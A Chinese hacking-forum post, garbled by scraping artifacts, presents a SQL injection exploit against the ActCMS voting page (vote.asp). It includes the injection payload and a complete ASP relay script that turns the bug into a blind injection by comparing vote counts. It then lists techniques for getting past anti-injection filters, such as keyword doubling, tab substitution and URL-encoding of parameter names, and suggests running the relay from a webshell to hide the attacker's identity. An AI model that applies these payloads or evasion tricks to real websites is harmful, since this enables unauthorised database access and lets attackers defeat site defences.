注入中转的高级应用，actcms漏洞以及其他

admin

看到ninty大牛的blog的一篇文章
7 b! z6 X8 Q% L! p链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
关于actcms漏洞的利用  by 3x qq:381862589
/ C9 d  e: q1 ?1 P转载请注明以上
' y$ Q2 N% y/ G8 ]" s% q+ [$ h漏洞文件：
/plus/vote/vote.asp
代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
6 r( Q  s2 I: H9 I
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   

3    response.end   

4    end if   
2 u% W7 ^! F. y5 f( N
5    for i=1 to request("voted").count   

6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
- Y0 h& U+ K$ l
& l# d. K8 I2 E5 Y, |7    next   

8....   
. [4 }. W6 x8 |1 |2 O, X+ _3 t
9response.Redirect "index.asp?id="&id&""   
投票结束回跳转回index.asp这个投票结果页面
如果投票成功票数加1
% s; L: a- k' Z3 Z" _            失败票数不变
如图：
" n# t0 B0 s7 }" w- ]2 N* N  vhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)

6 P3 l4 }3 n2 P  n/ R* Q2 f% W3 u2009-12-27 13:20

利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了

: z- [7 m8 d7 E( `本帖隐藏的内容需要回复才可以浏览
' t$ d/ u. Q! r我们用注入中转来实现这个注入具体代码如下：
先用寂寞的刺猬大牛的注入中转生成jmget.asp
注入地址：http://localhost/actcms/plus/vote/vote.asp
, Q3 G5 {5 w$ G% ?1 _注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项

: D+ h4 a# K0 H- S' `然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%
; Y- o& V2 l; ^% g
02JmdcwName=request("jmdcw")
- f8 q9 \5 h$ R; r$ _4 @
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
2 j. |! |# `2 K
$ f) m! }  [1 c3 l  p. C& }) N4 H8 F04JmStr="id=1&voted=-1 or 1="&JmdcwName
6 w5 W4 P8 N  c0 A1 m! E* _# A
05JmStr=URLEncoding(JmStr)

06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"

07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
7 l, t# ]0 o, w0 t
6 ^3 C( v" }1 G+ _7 s& Y, Y* n1 k08testurl=testurl & "?" & JmStr
" d3 P9 Q& J# ^% w
! ?5 N. U  u) b3 Z6 b6 \09JMUrl=JMUrl & "?" & JmStr
) ]: ]0 z9 U8 ^9 N2 \: x: b
' l& u' _; b/ p! N9 j" G( r10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
+ S; g+ p- m, p8 x3 |
0 t5 d" y$ _: B9 ?5 T, m0 x3 q11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"

12JmCok=replace(JmCok,chr(32),"%20")  
! U1 j+ k7 b1 `
7 J6 @! q1 W9 P9 Z; k1 \& B' M9 r" X13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数

, q! J- _: B7 M1 \0 l14  

) a; w# e7 P7 u  K2 B15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
9 C0 X' K- V$ Q" E* G7 E. C
16  

17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
8 L$ d: ?& @) U8 ]5 Y/ ]
: F- k& G  N& X+ e# f) ?9 C6 b2 J18response.write test1&""&test2&""

19  

20if test1=test2 then '如前后记录相等，表示失败
$ D0 q$ F) c) v5 U3 X& F
4 s4 x9 b) R. K& ]7 B1 s21  response.write "failed"
+ t/ b! ^4 Y# f) V- X2 A$ N) q- u
22else

23  response.write "succeed"
9 f0 I) P4 x! ^6 b  x
24end if  

25  

! O3 E! a8 ~7 O7 ?0 t26response.write "by 3x"

$ f! r2 W" v8 {$ m4 `27  

& w  ^( v; A1 V0 T28  

- n3 a5 @7 c% A: m29Function PostData(PostUrl,PostStr,PostCok,PostRef)   

8 |& L* `/ P" r4 y3 ^8 L1 ~* E30Dim Http

8 J5 V# h) Y$ a1 |  i3 j31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
; J6 Y4 K7 K- z% b- W  p2 P9 [  }
32With Http

33  
8 \" ?0 m/ M. B6 {0 N
% |: a7 [2 [! f34.Open "GET",PostUrl,False
: e  u" L0 p; q* L
# v5 n% r7 b. X. l0 f35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
- }- n$ g  r0 ]0 A; m0 e- R6 n
36.SetRequestHeader "Referer",PostRef

37.SetRequestHeader "Cookie",PostCok

38.Send ()
5 ~/ l+ M, h7 O: R1 e) t
) O$ W7 \' W4 I$ l4 {# l: q9 Y39PostData = .ResponseBody
9 t1 V" A* D' f. H2 j; `
1 {: i- B3 o0 v! ~8 O! x40End With
, U# a7 H# j8 F& s* M; G+ g! u
41Set Http = Nothing

42PostData =bytes2BSTR(PostData)
: t8 x5 @3 A; E. U9 X
43End Function

( ~9 x8 _4 h. J  i+ [; {44  

45  

2 V+ e# g, w" ]' X. C& {2 Z* x46Function bytes2BSTR(vIn)

47Dim strReturn
: g' x; {% I' C1 O( \
/ e. O' k$ ]; g3 L  z48Dim I, ThisCharCode, NextCharCode

7 _1 |* Q* p6 v$ j6 _49strReturn = ""

50For I = 1 To LenB(vIn)
7 m5 U' P8 w' O8 L; _
/ k. K  T9 l! ?3 N6 k8 B51ThisCharCode = AscB(MidB(vIn, I, 1))
1 I2 P# N3 x& J% k
52If ThisCharCode < &H80 Then

- w/ z0 f% {3 Q9 y53strReturn = strReturn & Chr(ThisCharCode)
* ^% v6 C/ N# d# \
3 F- T" }) J* d54Else

55NextCharCode = AscB(MidB(vIn, I + 1, 1))

  P/ r: U: ^6 G56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
0 w, c0 p' v5 _/ Q* a
0 C8 i' ~& _" z; B9 M2 N6 m6 g57I = I + 1

+ L5 l/ D# m, U9 T7 Z0 G. H7 k58End If

6 d/ ]3 U: z! @% _3 ]) u; D1 j59Next

2 z, c. d; i6 C60bytes2BSTR = strReturn

61End Function

. H7 b" Y4 f: ~. V62  

63Function URLEncoding(vstrin)  

# D& v/ F7 Q- t& l& o8 r% d3 ^2 i64strReturn=""
3 u& O, e$ K- U9 |
65Dim i

66For i=1 To Len(vstrin)
- ^- B6 ?  E3 q$ k
67ThisChr=Mid(vstrin,i,1)

68if Abs(Asc(ThisChr))< &HFF Then
6 G+ j4 h$ M- x, d8 ?
69strReturn=strReturn & ThisChr

70Else
1 E7 f' p7 y, r2 m7 y1 y* l. e0 T
71InnerCode=Asc(ThisChr)

72If InnerCode<0 Then

73InnerCode=InnerCode + &H10000
6 a6 ^: O# i" ]. i  |8 E% {
74End If
  n' X8 g. |+ j+ W" h& ?
75Hight1=(InnerCode And &HFF00) \&HFF

; p. [5 R) ^: }" Z/ K' y9 h76Low1=InnerCode And &HFF

  k; q" |4 N; \77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
( X, Z9 t; j. {6 j1 ]
/ R7 G  D7 Z2 n78End if
! S# f  z- T9 y9 H
4 W3 _/ k! F$ V6 `& T79Next
& @3 K8 m6 S: |8 Z" `  `; [: \
' }: O1 u' {. W( q% u0 C80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20

81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
) d1 L9 g4 B- t0 t" p) Y
$ d% y2 a7 p2 [8 A82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码

83URLEncoding=strReturn

84End Function

  X3 j$ S5 C0 c85  

86function getSt(body)
) Z( ~; a9 ^& u3 K+ l/ d' E9 ]+ l
1 T$ z4 a2 B2 K87  startpot=instr(body,"投票人数：")+len("投票人数：")
% S0 }  Q2 c# J2 V, R+ j2 N  F
* h$ C9 Y8 H( E- y" g5 ^88  endpot=instr(startpot,body," ")

4 m# S$ J( w6 A3 y* u89  getSt=mid(body,startpot,endpot-startpot)

: i9 q2 s& V0 \90end function
' D# r. }: e+ o4 y# f# X3 V
% @  f; Z& r( m91%>
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
# ?- K! E+ u' i9 o4 {测试下效果：
. U  E5 h" m) T8 p/ T/ g% |3 c投票成功：
3 n' T% ?9 s( _" chttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
. a) G- L% P# w
# w7 v/ S! z( Q' K. X) K2009-12-27 13:29
# z8 E  n+ j7 P! e9 c* R- w投票失败
0 \: I4 e) g- _9 r  {% Ohttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)

" ?$ R2 A5 t# Y. a" N6 y" r) G2009-12-27 13:29
2 i) g' R3 r1 j& j& A  a, q-------------------------------------------------------------------------------
, T. j4 S0 c( Q! X再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
: j% O$ I) m- ], m1 _( M0 E8 j很抱歉。。。只能用单线程工具去注入。。。。。
' ?  a+ `2 Z0 y; i) f所以失败。。。不好意思。。。
" \6 _8 c8 Z/ r-------------------------------------------------------------------------------

注入中转的一些其他应用
9 e( Z$ k  D1 T( h4 S其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
( X# u8 T5 Y7 u) H* m0 I1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
2.post注入转成get型的注入，方便我们使用工具来跑
3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
9 o; K# i2 B4 {$ U' z/ F0 k- k  k- L/ \4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过